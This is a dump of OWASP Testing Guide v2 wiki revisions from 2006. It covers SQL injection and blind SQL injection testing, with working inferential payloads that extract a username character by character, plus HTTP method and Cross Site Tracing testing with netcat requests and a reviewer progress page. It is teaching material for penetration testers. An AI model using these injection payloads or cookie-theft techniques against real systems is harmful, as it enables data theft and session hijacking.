which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword '''ALL''' is necessary to get around the query that make use of keyword DISTINCT. &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
=== Blind Sql Injection Testing ===&lt;br /&gt;
We have pointed out that exists another category of sql injection, called Blind Sql Injection, in which nothing is known on the outcome of an operation. This behavior happens in cases where the programmer has created a customed error page that does not reveal anything on the structure of the query or on the database. (Does not return a SQL error, it may just return a HTTP 500).&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
Thanks to the inference methods it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. The method consists in carrying out a series of booloean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter vulnerable to sql injection of name id.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?id=1' &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want is to obtain the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions we will execute our tests on the first character and, when we will have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING in order to select only one character at time (selecting a single character means to impose the length parameter to 1) and function ASCII in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of ASCII table, until finding the desired value.&lt;br /&gt;
As an example we will insert the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous returns a result if and only if the first character of field username is equal to the ASCII value 97. If we get a false value then we increase the index of ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the table and we pass to analyze the next character, modifying the parameters of SUBSTRING function.&lt;br /&gt;
The problem is to understand in that way we distinguish the test that has carried a true value, from the one that has carried a false value.&lt;br /&gt;
In order to make this we create a query that we are sure returns a false value. &lt;br /&gt;
This is possible by the following value as field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The answer of the server obtained (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test exposed before. &lt;br /&gt;
Sometimes this method does not work. In the case the server returns two defferent pages as a result of two identical consecutive web requests we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two template in order to decide the result of the test.&lt;br /&gt;
In the previous tests, we are supposed to know in what way it is possible to understand when we have ended the inference beacause we have obtained the value. &lt;br /&gt;
In order to understand when we have ended, we will use one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When our test will return a true value and we would have used an ASCII code equals to 0 (that is the value null), then that mean that we have ended to make inference, or that the value we have analyzed effectively contains the value null.&lt;br /&gt;
&lt;br /&gt;
We will insert the following value for the field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed with now (excluded the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
that gives back a true or false value. If we have a true value, then we have ended to make inference and therefore we have gained the value of the parameter. If we obtain a false value, this means that the null character is present on the value of the parameter, then we must continue to analyze the next parameter until we will find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind sql injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on MySql DB is SqlDumper, is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.nextgenss.com/papers/advanced_sql_injection.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;SQL Injection&amp;quot; - http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;Blind SQL Injection&amp;quot; - http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blind Sql Injection&amp;quot; - http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySql Blind Injection Bruteforcing, Reversing.org - [[http://www.reversing.org/node/view/11 sqlbftools]]&amp;lt;br&amp;gt;&lt;br /&gt;
* Daniele Bellucci: MySql Injection Inference tool - [[http://sourceforge.net/projects/sqlmap SqlMap]]&amp;lt;br&amp;gt;&lt;br /&gt;
* Antonio Parata: Dump Files by sql inference on Mysql - [[http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz SqlDumper]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=12825</id>
		<title>Test HTTP Methods (OTG-CONFIG-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=12825"/>
				<updated>2006-11-15T21:54:07Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this test we check that the web server is not configured to allow potentially dangerous HTTP commands (methods) and that Cross Site Tracing (XST) is not possible&amp;lt;br&amp;gt;&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC  2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:&lt;br /&gt;
&lt;br /&gt;
* HEAD&lt;br /&gt;
* GET&lt;br /&gt;
* POST&lt;br /&gt;
* PUT&lt;br /&gt;
* DELETE&lt;br /&gt;
* TRACE&lt;br /&gt;
* OPTIONS&lt;br /&gt;
* CONNECT&lt;br /&gt;
&lt;br /&gt;
Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:&lt;br /&gt;
&lt;br /&gt;
* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim server as a file repository&lt;br /&gt;
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack&lt;br /&gt;
* CONNECT:  This method could allow a client to use the web server as a proxy&lt;br /&gt;
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and it is used mainly for debugging purposes. This method, apparently harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)&lt;br /&gt;
&lt;br /&gt;
If an application needs one or more of these methods, it is important to check that their use is properly limited to trusted users and safe conditions.&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Discover the Supported Methods''' &amp;lt;br&amp;gt;&lt;br /&gt;
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that “The OPTIONS method represents a request for information about the  communication options available on the request/response chain identified by the Request-URI”. &lt;br /&gt;
&lt;br /&gt;
The testing method is extremely straightforward and we only need to fire up netcat (or telnet):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80 &lt;br /&gt;
OPTIONS / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:00:29 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Allow: GET, HEAD, POST, TRACE, OPTIONS&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
icesurfer@nightblade ~ $ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Test XST Potential'''&amp;lt;br&amp;gt;&lt;br /&gt;
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[Cross_site_scripting_AoC | Cross Site Scripting attacks]].&lt;br /&gt;
&lt;br /&gt;
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the httpOnly tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.&lt;br /&gt;
&lt;br /&gt;
As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:01:48 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: message/http&lt;br /&gt;
Content-Length: 39&lt;br /&gt;
&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to make a browser issue a TRACE request, as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker as two ways to successfully launch a Cross Site Tracing attack:&lt;br /&gt;
&lt;br /&gt;
* 1.Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet, that contains the TRACE request, in the vulnerable application, as in a normal Cross Site Scripting attack&lt;br /&gt;
* 2.Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.&lt;br /&gt;
&lt;br /&gt;
More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
The testing in a Gray Box scenario follows the same steps of a Black Box scenario&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1” &lt;br /&gt;
* RFC 2975: “HTTP State Management Mechanism” &lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Cross Site Tracing (XST)&amp;quot; - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* NetCat - http://www.vulnwatch.org/netcat&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=12824</id>
		<title>Test HTTP Methods (OTG-CONFIG-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=12824"/>
				<updated>2006-11-15T21:44:16Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this test we check that the web server is not configured to allow potentially dangerous HTTP commands (methods) and that Cross Site Tracing (XST) is not possible&amp;lt;br&amp;gt;&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC  2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:&lt;br /&gt;
&lt;br /&gt;
* HEAD&lt;br /&gt;
* GET&lt;br /&gt;
* POST&lt;br /&gt;
* PUT&lt;br /&gt;
* DELETE&lt;br /&gt;
* TRACE&lt;br /&gt;
* OPTIONS&lt;br /&gt;
* CONNECT&lt;br /&gt;
&lt;br /&gt;
Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:&lt;br /&gt;
&lt;br /&gt;
* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim server as a file repository&lt;br /&gt;
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack&lt;br /&gt;
* CONNECT: This specification reserves the method name CONNECT for use with a proxy that can dynamically switch to being a tunnel (e.g. SSL tunneling)&lt;br /&gt;
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and it is used mainly for debugging purposes. This method, apparently harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)&lt;br /&gt;
&lt;br /&gt;
If an application needs one or more of these methods, it is important to check that their use is properly limited to trusted users and safe conditions.&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Discover the Supported Methods''' &amp;lt;br&amp;gt;&lt;br /&gt;
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that “The OPTIONS method represents a request for information about the  communication options available on the request/response chain identified by the Request-URI”. &lt;br /&gt;
&lt;br /&gt;
The testing method is extremely straightforward and we only need to fire up netcat (or telnet):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80 &lt;br /&gt;
OPTIONS / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:00:29 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Allow: GET, HEAD, POST, TRACE, OPTIONS&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
icesurfer@nightblade ~ $ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Test XST Potential'''&amp;lt;br&amp;gt;&lt;br /&gt;
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[Cross_site_scripting_AoC | Cross Site Scripting attacks]].&lt;br /&gt;
&lt;br /&gt;
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the httpOnly tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.&lt;br /&gt;
&lt;br /&gt;
As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:01:48 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: message/http&lt;br /&gt;
Content-Length: 39&lt;br /&gt;
&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to make a browser issue a TRACE request, as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker as two ways to successfully launch a Cross Site Tracing attack:&lt;br /&gt;
&lt;br /&gt;
* 1.Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet, that contains the TRACE request, in the vulnerable application, as in a normal Cross Site Scripting attack&lt;br /&gt;
* 2.Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.&lt;br /&gt;
&lt;br /&gt;
More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
The testing in a Gray Box scenario follows the same steps of a Black Box scenario&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1” &lt;br /&gt;
* RFC 2975: “HTTP State Management Mechanism” &lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Cross Site Tracing (XST)&amp;quot; - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* NetCat - http://www.vulnwatch.org/netcat&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12817</id>
		<title>OWASP Testing Guide v2 Review Panel</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12817"/>
				<updated>2006-11-15T21:28:00Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
Update: 15th November, 16.00 (GMT+1)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Reviewing planning&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The reviewers are:&lt;br /&gt;
Mark Roxberry,&lt;br /&gt;
Alberto Revelli,&lt;br /&gt;
Daniel Cuthbert,&lt;br /&gt;
Antonio Parata,&lt;br /&gt;
Matteo G.P. Flora,&lt;br /&gt;
Matteo Meucci,&lt;br /&gt;
Eoin Keary,&lt;br /&gt;
Stefano Di Paola,&lt;br /&gt;
James Kist,&lt;br /&gt;
Vicente Aguilera,&lt;br /&gt;
Mauro Bregolin,&lt;br /&gt;
Syed Mohamed A&lt;br /&gt;
&lt;br /&gt;
We can begin the 1st reviewing phase by review all 63 articles (nearly 13 articles per person). The deadline is 15th November at 20.00 (GMT+1) because we have 15th November as 1st deadline for the Autumn of Code Project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;We are waiting for the following articles &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4.2.2 Spidering and googling (40%, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
4.2.4.2 DB Listener Testing TD (Maybe Eoin?)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.5 HTTP Exploit (0%, Arian J.Evans)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.2 Oracle testing TD &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.4 ORM Injection (0%, Mark Roxberry)&amp;lt;br&amp;gt;&lt;br /&gt;
5. Writing Reports: value the real risk&amp;lt;br&amp;gt;&lt;br /&gt;
5.1 How to value the real risk (50%, Daniel Cuthbert, Matteo Meucci, Sebastien Deleersnyder, Marco Morana)&amp;lt;br&amp;gt;&lt;br /&gt;
5.2 How to write the report of the testing (0%, Daniel Cuthbert, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Here is the complete list of articles to be reviewed: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Introduction --&amp;gt; reviewed by Eoin Keary'''&lt;br /&gt;
'''[OK]'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''The OWASP Testing Framework --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.1 Introduction and objectives --&amp;gt;.EK'''&lt;br /&gt;
'''[OK]'''&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.2 Information Gathering (Reviewed by EK) --&amp;gt; Keary'''&lt;br /&gt;
9 of 10 articles reviewed -&amp;gt; &amp;lt;BR&amp;gt; &lt;br /&gt;
* '''Application Discovery''': &lt;br /&gt;
** Reviewed + updated(EK) (Maybe we should include HTTP methods for application descovery, such as HTTP HEAD command?)&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Analysis of error codes''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Infrastructure configuration management testing AoC''': &lt;br /&gt;
** Reviewed by EK. '''Not in typical guide structure'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''SSL/TLS Testing AoC''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''DB Listener Testing''': &lt;br /&gt;
** '''Incomplete'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Application configuration management testing''': &lt;br /&gt;
** Reviewed by EK. '''Not typical guide structure'''&lt;br /&gt;
** This is generally a &amp;quot;white box&amp;quot; section. There are no examples of testing the configuration from a remote perspective. If this was the aim of the document, thats fine. '''- Need feedback on this one!!'''&lt;br /&gt;
** ''Sample/known files and directories'': might be good to refer to http://www.owasp.org/index.php/Old_file_testing_AoC ??&lt;br /&gt;
** ''Logging'': Timestamp is also important&lt;br /&gt;
* '''File extensions handling'''&amp;lt;BR&amp;gt;&lt;br /&gt;
** contains the text: &amp;quot;''...To review and expand...''&amp;quot; - '''Is this complete??'''&lt;br /&gt;
** '''Need a second opinion on this one'''!! :)&lt;br /&gt;
* '''Old file testing''': Reviewed by EK&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.3 Business logic testing --&amp;gt; Meucci'''&lt;br /&gt;
1 of 1 article reviewed &lt;br /&gt;
'''[OK]'''&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.4 Authentication Testing --&amp;gt; Roxberry (articles have been edited)'''&lt;br /&gt;
0 of 7 articles to be reviewed &lt;br /&gt;
'''[OK]'''&lt;br /&gt;
